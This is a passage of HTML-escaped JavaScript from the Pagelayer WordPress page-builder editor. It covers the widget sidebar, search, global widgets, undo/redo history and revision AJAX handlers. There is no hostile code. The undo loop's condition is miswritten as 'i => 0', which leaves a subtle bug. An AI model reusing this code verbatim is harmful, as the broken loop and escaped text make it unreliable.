				&#039;&lt;div class=&quot;pagelayer-widget-tab&quot; pagelayer-widget-tab=&quot;widgets&quot; pagelayer-elpd-active-tab=1&gt;Widgets&lt;/div&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-widget-tab&quot; pagelayer-widget-tab=&quot;global&quot;&gt;Global&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-shortcodes-widget&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-leftbar-search&quot;&gt;&#039;+
					&#039;&lt;i class=&quot;pli pli-search&quot; &gt;&lt;/i&gt;&lt;input class=&quot;pagelayer-search-field&quot; /&gt;&lt;span class=&quot;pagelayer-sf-empty pli&quot;&gt;&amp;times;&lt;/span&gt;&#039;+
				&#039;&lt;/div&gt;&#039;;
		
	for(var x in pagelayer_groups){
		
		// Title
		html += &#039;&lt;div class=&quot;pagelayer-leftbar-group pagelayer-group-name-&#039;+x+&#039;&quot;&gt;&lt;h5&gt;&#039;+x+&#039;&lt;/h5&gt;&#039;;
		
		// Indivdual icon
		for(var y in pagelayer_groups[x]){
			
			var sc = pagelayer_groups[x][y];
			
			if(!(sc in pagelayer_shortcodes) || &#039;not_visible&#039; in pagelayer_shortcodes[sc]){
				continue;
			}
			
			html += &#039;&lt;div class=&quot;pagelayer-shortcode-drag&quot; draggable=&quot;true&quot; pagelayer-tag=&quot;&#039;+sc+&#039;&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-sc&quot;&gt;&#039;+
					&#039;&lt;center class=&quot;pagelayer-shortcode-inner&quot;&gt;&#039;;
					
					if(&#039;icon&#039; in pagelayer_shortcodes[sc]){
						html += &#039;&lt;i class=&quot;pagelayer-shortcode &#039;+pagelayer_shortcodes[sc][&#039;icon&#039;]+&#039;&quot;&gt;&lt;/i&gt;&#039;;
					}else{
						html += &#039;&lt;i class=&quot;pagelayer-shortcode pli pagelayer-&#039;+sc+&#039;&quot;&gt;&lt;/i&gt;&#039;;
					}
					
					html += &#039;&lt;/center&gt;&#039;+
					&#039;&lt;span class=&quot;pagelayer-shortcode-text&quot;&gt;&#039;+pagelayer_shortcodes[sc][&#039;name&#039;]+&#039;&lt;/span&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
			
		}
		
		html += &#039;&lt;/div&gt;&#039;;
		
	}
	
	html += &#039;&lt;/div&gt;&#039;+
		&#039;&lt;div id=&quot;pagelayer-global-widget&quot; class=&quot;pagelayer-hidden pagelayer-global-widget&quot;&gt;&lt;/div&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
		&#039;&lt;div id=&quot;pagelayer-elpd&quot; class=&quot;pagelayer-leftbar-tab pagelayer-elpd&quot;&gt;&lt;/div&gt;&#039;+
		&#039;&lt;div id=&quot;pagelayer-options&quot; class=&quot;pagelayer-leftbar-tab pagelayer-options&quot;&gt;&lt;/div&gt;&#039;+
		&#039;&lt;div id=&quot;pagelayer-history&quot; class=&quot;pagelayer-leftbar-tab pagelayer-history&quot;&gt;&lt;/div&gt;&#039;+
		&#039;&lt;div id=&quot;pagelayer-post-settings&quot; class=&quot;pagelayer-leftbar-tab pagelayer-post-settings&quot;&gt;&lt;/div&gt;&#039;+
		&#039;&lt;div id=&quot;pagelayer-navigator&quot; class=&quot;pagelayer-leftbar-tab pagelayer-navigator&quot;&gt;&lt;/div&gt;&#039;+
		&#039;&lt;div id=&quot;pagelayer-general-options&quot; class=&quot;pagelayer-leftbar-tab pagelayer-general-options&quot;&gt;&lt;/div&gt;&#039;+
	&#039;&lt;/div&gt;&#039;+
&#039;&lt;/div&gt;&#039;;

	pagelayer.$$(&#039;.pagelayer-leftbar-holder&#039;).prepend(html);
	pagelayer_leftbar_tab(&#039;pagelayer-shortcodes&#039;);
	
	pagelayer.$$(&#039;.pagelayer-leftbar-scroll&#039;).slimScroll({
		height: &#039;100%&#039;,
		railVisible: false,
		alwaysVisible: true,
		color: &#039;#000&#039;,
		size: &#039;5px&#039;,
	});
	
	// Hide the ones which are not supposed to be shown
	pagelayer.$$(&#039;.pagelayer-search-field&#039;).on(&#039;input&#039;, function(){
		
		var val = jQuery(this).val();
		var re = new RegExp(val, &#039;i&#039;);
		
		// Show only the required tags
		pagelayer.$$(&#039;.pagelayer-leftbar-group&#039;).each(function(){
			
			var group = jQuery(this);
			var res = group.find(&#039;[pagelayer-tag]&#039;);
			var hidden = 0;
			
			res.each(function(){
				
				var tEle = jQuery(this);
				if(tEle.find(&#039;.pagelayer-shortcode-text&#039;).html().match(re)){
					tEle.show();
				}else{
					hidden += 1;
					tEle.hide();
				}
				
			});
			
			// Hide the whole group
			if(hidden == res.length){
				group.hide();
			}else{
				group.show();
			}
				
		});
	});
	
	// On click Pagelayer setting icon
	pagelayer.$$(&#039;.pagelayer-settings-icon, .pagelayer-settings&#039;).click(function(event){
		pagelayer_active = {};
		
		var pl_tag = jQuery(this).attr(&#039;pagelayer-tag&#039;) || &#039;pl_post_props&#039;;
		var nModal = jQuery(this).attr(&#039;pagelayer-modal-none&#039;);
		
		pagelayer_post_settings(pl_tag);
		
	});
	
	// Pagelayer post advance setting modal handler
	var propsModal = pagelayer.$$(&#039;.pagelayer-props-modal&#039;);
	propsModal.find(&#039;.pagelayer-props-modal-close&#039;).on(&#039;click&#039;, function(event){
		propsModal.hide();
	});
		
	propsModal.on(&#039;click&#039;, function(event){
		var target = jQuery(event.target);
		
		if(target.closest(&#039;.pagelayer-props-modal-wrap&#039;).length &gt; 0){
			return;
		}
		
		propsModal.hide();
	});
		
	
	// On click Pagelayer setting icon
	var global_widget_list = function(){
		
		var gHtml = &#039;&#039;;
		
		if(pagelayer_empty(pagelayer_pro)){
			gHtml += &#039;&lt;div class=&quot;pagelayer-global-widget-pro&quot;&gt;&#039;+pagelayer.pro_txt+
			&#039;&lt;p&gt;Using this feature, you can save the widgets globally and use them on the entire site. The global widget will be editable from one place.&lt;/p&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
			
			pagelayer.$$(&#039;#pagelayer-global-widget&#039;).html(gHtml);
			return;
		}
		
		gHtml += &#039;&lt;div class=&quot;pagelayer-global-widget-shortcodes&quot;&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-leftbar-search&quot;&gt;&#039;+
				&#039;&lt;i class=&quot;pli pli-search&quot; &gt;&lt;/i&gt;&lt;input class=&quot;pagelayer-search-field&quot; /&gt;&lt;i class=&quot;pagelayer-sf-empty pli&quot;&gt;&amp;times;&lt;/i&gt;&#039;+
			&#039;&lt;/div&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-leftbar-group&quot;&gt;&lt;h5&gt;&#039;+pagelayer_l(&#039;global_widgets&#039;)+&#039;&lt;/h5&gt;&lt;/div&gt;&#039;+
		&#039;&lt;/div&gt;&#039;;
		
		if(pagelayer_empty(pagelayer_global_widgets)){
			pagelayer_global_widgets = [];
			gHtml += &#039;&lt;div class=&quot;pagelayer-leftbar-group&quot;&gt;&lt;h5&gt;No global widgets found&lt;/h5&gt;&lt;/div&gt;&#039;;
		}

		// Indivdual icon
		for(var y in pagelayer_global_widgets){
			var wEle = jQuery(pagelayer_global_widgets[y][&#039;$&#039;]);
			var sc = pagelayer_tag( wEle );
			
			if(!(sc in pagelayer_shortcodes) || &#039;not_visible&#039; in pagelayer_shortcodes[sc]){
				continue;
			}
			
			gHtml += &#039;&lt;div class=&quot;pagelayer-shortcode-drag&quot; draggable=&quot;true&quot; pagelayer-tag=&quot;&#039;+sc+&#039;&quot; pagelayer-global-id=&quot;&#039;+y+&#039;&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-sc&quot;&gt;&#039;+
					&#039;&lt;center class=&quot;pagelayer-shortcode-inner&quot;&gt;&#039;;
					
					if(&#039;icon&#039; in pagelayer_shortcodes[sc]){
						gHtml += &#039;&lt;i class=&quot;pagelayer-shortcode &#039;+pagelayer_shortcodes[sc][&#039;icon&#039;]+&#039;&quot;&gt;&lt;/i&gt;&#039;;
					}else{
						gHtml += &#039;&lt;i class=&quot;pagelayer-shortcode pli pagelayer-&#039;+sc+&#039;&quot;&gt;&lt;/i&gt;&#039;;
					}
					
					gHtml += &#039;&lt;/center&gt;&#039;+
					&#039;&lt;span class=&quot;pagelayer-shortcode-text&quot;&gt;&#039;+pagelayer_global_widgets[y][&#039;title&#039;]+&#039;&lt;/span&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
			
		}
	
		pagelayer.$$(&#039;#pagelayer-global-widget&#039;).html(gHtml);
	};
	
	// The widget tabs
	pagelayer.$$(&#039;.pagelayer-widget-tab&#039;).on(&#039;click&#039;, function(){	
		var attr = &#039;pagelayer-elpd-active-tab&#039;;
		pagelayer.$$(&#039;.pagelayer-widget-tab&#039;).each(function(){
			jQuery(this).removeAttr(attr);
		});
		var cEle = jQuery(this);
		cEle.attr(attr, 1);
		
		if(cEle.attr(&#039;pagelayer-widget-tab&#039;) == &#039;global&#039;){
			cEle.closest(&#039;#pagelayer-shortcodes&#039;).find(&#039;.pagelayer-shortcodes-widget&#039;).addClass(&#039;pagelayer-hidden&#039;);
			cEle.closest(&#039;#pagelayer-shortcodes&#039;).find(&#039;.pagelayer-global-widget&#039;).removeClass(&#039;pagelayer-hidden&#039;);
			// Trigger create global widgets
			global_widget_list();
		}else{
			cEle.closest(&#039;#pagelayer-shortcodes&#039;).find(&#039;.pagelayer-shortcodes-widget&#039;).removeClass(&#039;pagelayer-hidden&#039;);
			cEle.closest(&#039;#pagelayer-shortcodes&#039;).find(&#039;.pagelayer-global-widget&#039;).addClass(&#039;pagelayer-hidden&#039;);
		}
	});
	
	// On click search empty
	pagelayer.$$(&#039;.pagelayer-leftbar-search&gt;.pagelayer-sf-empty&#039;).click(function(){
		pagelayer.$$(&#039;.pagelayer-search-field&#039;).val(&#039;&#039;).trigger(&#039;input&#039;);
	});
	
	// Pagelayer General options
	pagelayer.$$(&#039;.pagelayer-options-icon &#039;).click(function(){
		pagelayer.$$(&#039;.pagelayer-elpd-header&#039;).show().find(&#039;.pagelayer-elpd-title&#039;).text(pagelayer_l(&#039;general_options&#039;));
		pagelayer.$$(&#039;.pagelayer-logo&#039;).hide();
		
		// Setup General options
		pagelayer_setup_general_options();
		
		pagelayer_leftbar_tab(&#039;pagelayer-general-options&#039;);
		pagelayer_active = {};
	});
	
	// Hide color and typography global list
	pagelayer.$$(&#039;.pagelayer-leftbar-table&#039;).on(&#039;click&#039;, function(e){

		var closest = jQuery(e.target).closest(&#039;.pagelayer-elp-color-global, .pagelayer-elp-global-icon, .pagelayer-global-color-list, .pagelayer-global-font-list&#039;);
		var list = pagelayer.$$(&#039;.pagelayer-global-color-list, .pagelayer-global-font-list&#039;);

		if(closest.length &gt; 0 ){
			var lEle = closest.closest(&#039;.pagelayer-elp-color-div-holder&#039;).find(&#039;.pagelayer-global-color-list&#039;);
			var lFont = closest.closest(&#039;.pagelayer-form-item&#039;).find(&#039;.pagelayer-global-font-list&#039;);
			
			list = list.not(lFont);
			list = list.not(lEle);
		}

		list.not(closest).slideUp();
		
	});
};

// Post setting holder
function pagelayer_post_settings(pl_tag, to_click){
	
	to_click = to_click == -1 ? false : true;
	
	// Is there a post settings ?
	var jEle = jQuery(pagelayer_editable+&#039; [pagelayer-tag=&quot;&#039;+ pl_tag +&#039;&quot;]&#039;);
	
	// Could not find
	if(jEle.length &lt; 1){
		jEle = pagelayer_create_sc(pl_tag);
		var id = pagelayer_id(jEle);
		jQuery(pagelayer_editable).prepend(jEle);
		pagelayer_element_setup(&#039;[pagelayer-id=&#039;+id+&#039;]&#039;, true);
		
		// Dont mark as dirty as post_props is not editing anything
		pagelayer_do_undirty();
	}
	
	if(to_click){
		jEle.click();
	}
	
	return jEle;
}

// Get the closest element and method
function pagelayer_near_by_ele(id, sc){
	
	// Get the previous element of the id element
	var prevEle_id = jQuery(&#039;[pagelayer-wrap-id=&quot;&#039;+id+&#039;&quot;]&#039;).prev().attr(&#039;pagelayer-wrap-id&#039;) || &#039;&#039;;
	var method, cEle, args = {};

	if(prevEle_id.length &gt; 0){
		
		// If have previous element of the id element
		// Set the method and previous element selector
		args = {&#039;method&#039; : &#039;after&#039;, &#039;cEle&#039; : &#039;[pagelayer-wrap-id=&quot;&#039;+prevEle_id+&#039;&quot;]&#039;};
		
	}else{
		
		// If don&#039;t have previous element of the id element then get parent element
		if(sc == &quot;pl_row&quot;){
			args = {&#039;method&#039; : &#039;prepend&#039;, &#039;cEle&#039; : pagelayer_editable};
		}else{
			
			// Get the parent element 
			var pEle_id = pagelayer_id(jQuery(&#039;[pagelayer-wrap-id=&quot;&#039;+id+&#039;&quot;]&#039;).closest(&#039;.pagelayer-ele&#039;));
			
			// Get the parent element tag
			var pEle_tag = pagelayer_tag(jQuery(&#039;[pagelayer-id=&quot;&#039;+pEle_id+&#039;&quot;]&#039;));
			var holder = &#039;&gt;&#039;+ pagelayer_shortcodes[pEle_tag][&#039;holder&#039;] || &#039;&#039;;
			args = {&#039;method&#039; : &#039;prepend&#039;, &#039;cEle&#039; : &#039;[pagelayer-id=&quot;&#039;+pEle_id+&#039;&quot;] &#039;+ holder+&#039; &#039;};
			
		}
		
	}
	
	return args;
	
};

// Push the action data in the pagelayer_history_obj object
function pagelayer_history_action_push(args){
	
	var currentTime = new Date();
	var history_obj_len = pagelayer_history_obj[&#039;action_data&#039;].length;
	
	// If the history_obj_len is less then 1 then set the data in array 0 position 
	if(history_obj_len &lt; 1){
		pagelayer_history_obj[&#039;action_data&#039;][0] = {&#039;title&#039; : &#039;Start Editing&#039;, &#039;action&#039; : &#039;Start&#039; };
		pagelayer_history_obj[&#039;current_active_item_id&#039;] = 0;
	}
	
	// Remove the second array element if the history_obj_len greater then 100
	if(history_obj_len &gt; 100){
		pagelayer_history_obj[&#039;action_data&#039;].splice(1, 1);
		pagelayer_history_obj[&#039;current_active_item_id&#039;] = pagelayer_history_obj[&#039;action_data&#039;].length - 1;
	}
	
	// Get current active history action id 
	var action_id = parseInt(pagelayer_history_obj[&#039;current_active_item_id&#039;]) || 0;
	
	// Remove the all array element after the active array element  
	var del_ele = history_obj_len - action_id - 1;
	pagelayer_history_obj[&#039;action_data&#039;].splice(action_id + 1, del_ele);
	
	// Check if the same attr set as current active history
	if(args.action == &quot;Edited&quot; &amp;&amp; history_obj_len &gt; 1 &amp;&amp; currentTime - pagelayer.history_lastTime &lt; 1000){
		var atts = pagelayer_history_obj[&#039;action_data&#039;][action_id] || &#039;&#039;;
		if(atts[&#039;atts&#039;] == args[&#039;atts&#039;] &amp;&amp; atts[&#039;pl_id&#039;] == args[&#039;pl_id&#039;] &amp;&amp; pagelayer_empty(atts[&#039;sub_actions_group&#039;]) ){
			args[&#039;oldVal&#039;] = atts[&#039;oldVal&#039;];
			pagelayer_history_obj[&#039;action_data&#039;][action_id] = args;
			pagelayer_history_setup();
			
			// Set the last history time
			pagelayer.history_lastTime = currentTime;
			return true;
		}	
	}
	
	// If the action time within 200 millisecond then it count as sub-actions
	if(currentTime - pagelayer.history_lastTime &lt; 200 &amp;&amp; history_obj_len &gt; 1){
		
		var cur_action_data = pagelayer_history_obj[&#039;action_data&#039;][action_id];
		var sub_actions_len = cur_action_data[&#039;sub_actions_group&#039;] || &#039;&#039;;
		
		if( !(&#039;attrType&#039; in cur_action_data &amp;&amp; cur_action_data[&#039;attrType&#039;] == &#039;tmp_attr&#039; &amp;&amp; &#039;attrType&#039; in args &amp;&amp; args[&#039;attrType&#039;] == &#039;a_attr&#039;) ) {		
			// If the sub_actions_len is less then 1 then set the data in array 0 position 
			if(sub_actions_len.length &lt; 1){
				pagelayer_history_obj[&#039;action_data&#039;][action_id][&#039;sub_actions_group&#039;] = [args];
			}else{
				pagelayer_history_obj[&#039;action_data&#039;][action_id][&#039;sub_actions_group&#039;].push(args);
			}
		
			return true;
		}
	}
	
	pagelayer_history_obj[&#039;action_data&#039;].push(args);
	pagelayer_history_obj[&#039;current_active_item_id&#039;] = pagelayer_history_obj[&#039;action_data&#039;].length - 1;
	pagelayer_history_setup();
	
	// Set the last history time
	pagelayer.history_lastTime = currentTime;
}

// Setup pagelayer history
function pagelayer_history_setup(force){
	
	var force = force || false;
	
	// If the history tab is visible, only then setup
	if(!pagelayer.$$(&#039;#pagelayer-history&#039;).is(&#039;:visible&#039;) &amp;&amp; !force){
		return;
	}
	
	// The current active action id
	var current_id = pagelayer_history_obj[&#039;current_active_item_id&#039;];
	
	// pagelayer-HISTORY - Element Properties Dialog
	var pagelayer_history_html = &#039;&lt;div class=&quot;pagelayer-history-tabs&quot;&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-history-tab&quot; pagelayer-history-tab=&quot;actions&quot; pagelayer-history-active-tab=&quot;1&quot;&gt;Actions&lt;/div&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-history-tab&quot; pagelayer-history-tab=&quot;revisions&quot;&gt;Revisions&lt;/div&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-history-body&quot;&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-history-section active&quot; pagelayer-show-tab=&quot;actions&quot;&gt;&#039;;
	
	// Any actions	
	if(pagelayer_history_obj[&#039;action_data&#039;].length &gt; 0){
		
		for(var x in pagelayer_history_obj[&#039;action_data&#039;]){
			
			if(pagelayer_empty(pagelayer_history_obj[&#039;action_data&#039;][x])){continue;}
			
			var title = pagelayer_history_obj[&#039;action_data&#039;][x][&#039;title&#039;] || &#039;&#039;;
			var subTitle = pagelayer_history_obj[&#039;action_data&#039;][x][&#039;subTitle&#039;] || &#039;&#039;;
			var action = pagelayer_history_obj[&#039;action_data&#039;][x][&#039;action&#039;] || &#039;&#039;;
			var tmp_attr = pagelayer_history_obj[&#039;action_data&#039;][x][&#039;attrType&#039;] || &#039;&#039;;
			var eAttr = &#039;&#039;;
			
			if(!pagelayer_empty(tmp_attr) &amp;&amp; tmp_attr == &quot;tmp_attr&quot;){
				eAttr = &quot;pagelayer-history-hidden&quot;;
			}
			
			pagelayer_history_html += &#039;&lt;div class=&quot;pagelayer-history-holder &#039;+((current_id == x) ? &#039;current_active_item&#039; : &#039;&#039; )+&#039; &#039;+eAttr+&#039;&quot; history-action-id=&quot;&#039;+x+&#039;&quot; &gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-history-detail-holder&quot;&gt;&#039;+
					&#039;&lt;span class=&quot;pagelayer-history-title&quot;&gt;&lt;b&gt; &#039;+title+&#039; &lt;/b&gt;&lt;/span&gt;&#039;+
					&#039;&lt;span class=&quot;pagelayer-history-subtitle&quot;&gt; &#039;+subTitle+&#039; &lt;/span&gt;&#039;+
					&#039;&lt;span class=&quot;pagelayer-history-action&quot;&gt;&lt;i&gt; &#039;+action+&#039; &lt;/i&gt;&lt;/span&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-history-icon&quot;&gt;&#039;+
					&#039;&lt;span class=&quot;pagelayer-history-check pli pli-checkmark&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
		}
		
	}else{
		pagelayer_history_html += &#039;No Actions history available yet&#039;;
	}

	pagelayer_history_html += &#039;&lt;/div&gt;&#039;+
	&#039;&lt;div class=&quot;pagelayer-history-section&quot; pagelayer-show-tab=&quot;revisions&quot;&gt;&#039;;
	
	// Any revisions ?
	if(pagelayer_revision_obj){
		for(var x in pagelayer_revision_obj){
			pagelayer_history_html += &#039;&lt;div class=&quot;pagelayer-revision-holder&quot; revision-id=&quot;&#039;+pagelayer_revision_obj[x][&#039;ID&#039;]+&#039;&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-revision-img-holder&quot;&gt;&#039;+
					&#039;&lt;img src=&quot;&#039;+pagelayer_revision_obj[x][&#039;post_author_url&#039;]+&#039;&quot; /&gt;&#039;+ 
				&#039;&lt;/div&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-revision-detail-holder&quot;&gt;&#039;+
					&#039;&lt;div class=&quot;pagelayer-revision-date&quot;&gt;&#039;+
						pagelayer_revision_obj[x][&#039;post_date_ago&#039;]+
						&#039;(&#039;+pagelayer_revision_obj[x][&#039;post_date&#039;]+&#039;)&#039;+
					&#039;&lt;/div&gt;&#039;+
					&#039;&lt;div class=&quot;pagelayer-revision-author&quot;&gt;&#039;+
						pagelayer_revision_obj[x][&#039;post_type&#039;] +&#039; by &#039;+
						pagelayer_revision_obj[x][&#039;post_author_name&#039;]+
					&#039;&lt;/div&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-revision-icon-holder&quot;&gt;&#039;+
					&#039;&lt;i class=&quot;pagelayer-revision-delete pli pli-cross&quot;&gt;&lt;/i&gt;&#039;+ 
				&#039;&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;;
		}
			
	}else{
		pagelayer_history_html += &#039;No Revisions history available&#039;;
	}
		
	pagelayer_history_html += &#039;&lt;/div&gt;&#039;+
		&#039;&lt;/div&gt;&#039;;
	
	// Create the dialog box
	pagelayer.$$(&#039;#pagelayer-history&#039;).html(pagelayer_history_html);
	var holder = pagelayer.$$(&#039;#pagelayer-history&#039;);
	
	// Set active history holder
	holder.find(&#039;.pagelayer-history-holder&#039;).on(&#039;click&#039;, function(){
		var hEle = jQuery(this);
		var prev_item_id = pagelayer_history_obj[&#039;current_active_item_id&#039;];
		hEle.parent().children().removeClass(&#039;current_active_item&#039;);
		hEle.addClass(&#039;current_active_item&#039;);
		var do_item_id = parseInt(hEle.attr(&#039;history-action-id&#039;));
		pagelayer_history_action_setup(do_item_id, prev_item_id);
	});
	
	// Apply revision
	holder.find(&#039;.pagelayer-revision-holder&#039;).on(&#039;click&#039;, function(){
		var revision_id = jQuery(this).attr(&#039;revision-id&#039;);
		
		jQuery.ajax({
			url: pagelayer_ajax_url+&#039;&amp;action=pagelayer_apply_revision&amp;revisionID=&#039;+revision_id,
			type: &#039;post&#039;,
			data: {
				pagelayer_nonce: pagelayer_ajax_nonce,
				&#039;pagelayer-live&#039; : 1,
			},
			success: function(response, status, xhr){
			
				var obj = jQuery.parseJSON(response);
				if(obj[&#039;error&#039;]){
					pagelayer_show_msg(obj[&#039;error&#039;] , &#039;error&#039;);
				}else{
					
					// Get the current post_name and post_status
					var props = jQuery(pagelayer_editable).find(&#039;.pagelayer-post_props&#039;);
					var post_name = &#039;&#039;, post_status = &#039;&#039;;
					
					if(props.length &gt; 0){
						post_name = pagelayer_get_att(props, &#039;post_name&#039;);
						post_status = pagelayer_get_att(props, &#039;post_status&#039;);
					}
					
					// Set content
					jQuery(pagelayer_editable).html(obj[&#039;content&#039;]);
					
					// Add previous post_name and post_status
					var props_new = jQuery(pagelayer_editable).find(&#039;.pagelayer-post_props&#039;);
					if(props_new.length &gt; 0){
						
						if(pagelayer_empty(post_name)){
							post_name = pagelayer_default_params.pl_post_props.post_name;
						}
						
						if(pagelayer_empty(post_status)){
							post_status = pagelayer_default_params.pl_post_props.post_status;
						}
						
						var tmp = {};
						tmp[&#039;post_name&#039;] = post_name;
						tmp[&#039;post_status&#039;] = post_status;
						pagelayer_set_atts(props_new, tmp);
					}
					
					// Need to pass true to render table
					pagelayer_element_setup(&#039;.pagelayer-ele&#039;, true);
					pagelayer_add_widget();
					pagelayer_show_msg(obj[&#039;success&#039;], &#039;success&#039;);
				}
			}
		});
	});
	
	// Delete the revision
	holder.find(&#039;.pagelayer-revision-delete&#039;).click(function(e){
		
		e.stopPropagation();
		var rEle = jQuery(this).closest(&#039;.pagelayer-revision-holder&#039;);
		var revision_id = rEle.attr(&#039;revision-id&#039;);
		
		if(confirm(&quot;Are you sure you want to delete the revision ?&quot;)){
			jQuery.ajax({
				url: pagelayer_ajax_url+&#039;&amp;action=pagelayer_delete_revision&amp;revisionID=&#039;+revision_id,
				type: &#039;post&#039;,
				data: {pagelayer_nonce: pagelayer_ajax_nonce},
				success: function(response, status, xhr){
				
					var obj = jQuery.parseJSON(response);
					if(obj[&#039;error&#039;]){
						pagelayer_show_msg(obj[&#039;error&#039;], &#039;error&#039;);
					}else{
						pagelayer_show_msg(obj[&#039;success&#039;], &#039;success&#039;);
						rEle.hide();
					}
					
				}
			});
		}

	});
	
	// The tabs
	holder.find(&#039;.pagelayer-history-tab&#039;).on(&#039;click&#039;, function(){	
		var attr = &#039;pagelayer-history-active-tab&#039;;
		holder.find(&#039;.pagelayer-history-tab&#039;).each(function(){
			jQuery(this).removeAttr(attr);
		});
		jQuery(this).attr(attr, 1);
		
		// Get the active tab
		var active_tab = holder.find(&#039;[pagelayer-history-active-tab]&#039;).attr(&#039;pagelayer-history-tab&#039;);
		
		// Trigger the showing of rows
		holder.find(&#039;[pagelayer-show-tab]&#039;).each(function(){
			var sec = jQuery(this);
			
			// Is it the active tab ? 
			if(sec.attr(&#039;pagelayer-show-tab&#039;) != active_tab){
				sec.hide();
			}else{
				sec.show();
			}
		});
	});
}

// Get revisions Handler
function pagelayer_get_revision(){

	jQuery.ajax({
		url: pagelayer_ajax_url+&#039;&amp;action=pagelayer_get_revision&amp;postID=&#039;+pagelayer_postID,
		type: &#039;post&#039;,
		data: {
			pagelayer_nonce: pagelayer_ajax_nonce,
		},
		//async:false,
		success: function(response, status, xhr){
			var obj = jQuery.parseJSON(response);
			
			if(!pagelayer_empty(obj[&#039;error&#039;])){
				pagelayer_show_msg(obj[&#039;error&#039;], &#039;error&#039;);
			}else{
				pagelayer_revision_obj = obj;
				pagelayer_history_setup(true);
			}
		}
	});
};

// Do the history action - use for ctrl-z and ctrl-y 
function pagelayer_do_history(action){
	
	var cur_id = pagelayer_history_obj[&#039;current_active_item_id&#039;];
	var new_id = cur_id; 
	var action_data_len = pagelayer_history_obj[&#039;action_data&#039;].length;
	
	
	if(action == &#039;undo&#039;){
		
		// You cannot undo from the first movement
		if(cur_id == 0){
			return true;
		}
		
		for(var i = (cur_id - 1); i =&gt; 0; i--){
		
			var action = pagelayer_history_obj[&#039;action_data&#039;][i];
			
			if(&#039;attrType&#039; in action &amp;&amp; action[&#039;attrType&#039;] == &#039;tmp_attr&#039;){
				continue;
			}
			
			new_id = i;
			break;
			
		}
		
	}else if(action == &#039;redo&#039;){
		for(var i = cur_id + 1; i &lt; action_data_len; i++){
			
			var action = pagelayer_history_obj[&#039;action_data&#039;][i];
			
			if(&#039;attrType&#039; in action &amp;&amp; action[&#039;attrType&#039;] == &#039;tmp_attr&#039;){
				continue;
			}
			
			new_id = i;
			break;
			
		}
	}
	
	// Do the action
	pagelayer_history_action_setup(new_id, cur_id);
	pagelayer_history_setup();
	
};

// Action setup handle on ctrl-z and ctrl-y 
function pagelayer_history_action_setup(current_item_id, prev_item_id){
	
	// Set this as the current active
	pagelayer_history_obj[&#039;current_active_item_id&#039;] = current_item_id;

	// Delete the element
	var delete_ele = function(id){
		
		// Set Pagelayer History FALSE to prevent saving delete action in action history
		pagelayer.history_action = false;
		
		pagelayer_delete_element(&#039;[pagelayer-id=&#039;+id+&#039;]&#039;);
		
		// Set Pagelayer History TRUE
		pagelayer.history_action = true;
		
	};
	
	// Re-setup the element
	var resetup_ele = function(history_array){
		jQuery(history_array.cEle.cEle)[history_array.cEle.method](history_array.html);
		pagelayer_element_setup(&#039;[pagelayer-id=&#039;+history_array.pl_id+&#039;], [pagelayer-id=&#039;+history_array.pl_id+&#039;] .pagelayer-ele&#039;, true);
		
		var rEle = jQuery(&#039;[pagelayer-id=&quot;&#039;+history_array.pl_id+&#039;&quot;]&#039;);
		pagelayer_empty_col(rEle.closest(&#039;.pagelayer-col-holder&#039;));
		
		pagelayer_do_dirty(rEle);
	};
	
	// Re-setup the element attr
	var reset_ele_attr = function(hEle, atts, val, attrType){
		
		// Set Pagelayer History FALSE to prevent saving attributes in action history
		pagelayer.history_action = false;
		if(attrType == &quot;tmp_attr&quot;){
			pagelayer_set_tmp_atts(hEle, atts, val);
		}else{		
			pagelayer_set_atts(hEle, atts, val);
		}
		
		// The property holder
		var holder = pagelayer.$$(&#039;.pagelayer-elpd-body&#039;);
		holder.html(&#039; &#039;);
		pagelayer_sc_render(hEle);
		pagelayer_elpd_generate(hEle, holder);
		pagelayer.history_action = true;
		
	};
	
	// Move element
	var pagelayer_move_ele = function(id, move_loc){
		var eWrap = pagelayer_wrap_by_id(id);
		var pCol = eWrap.closest(&#039;.pagelayer-col-holder&#039;) || &#039;&#039;;
		
		jQuery(move_loc.cEle)[move_loc.method](eWrap);
		
		// Ensure the column is not empty
		if(!pagelayer_empty(pCol)){
			pagelayer_empty_col(pCol);
			pagelayer_empty_col(pagelayer_wrap_by_id(id).closest(&#039;.pagelayer-col-holder&#039;));
		}

		pagelayer_do_dirty(eWrap);
	};
	
	// Undo actions
	var pagelayer_undo_action = function(history_array){
		var action = history_array.action;
		var id = history_array.pl_id;
		
		if(action == &quot;Edited&quot;){
			hEle = jQuery(&#039;[pagelayer-id=&quot;&#039;+id+&#039;&quot;]&#039;);
			reset_ele_attr(hEle, history_array.atts, history_array.oldVal, history_array.attrType);
		}else if(action == &quot;Added&quot;){
			delete_ele(id);
		}else if(action == &quot;Deleted&quot;){
			resetup_ele(history_array);
		}else if(action == &quot;Copied&quot;){
			delete_ele(id);
		}else if(action == &quot;Moved&quot;){
			pagelayer_move_ele(id, history_array.before_loc);
		}
	};
	
	// Redo actions
	var pagelayer_redo_action = function(history_array){
		var action = history_array.action;
		var id = history_array.pl_id;
		
		if(action == &quot;Edited&quot;){
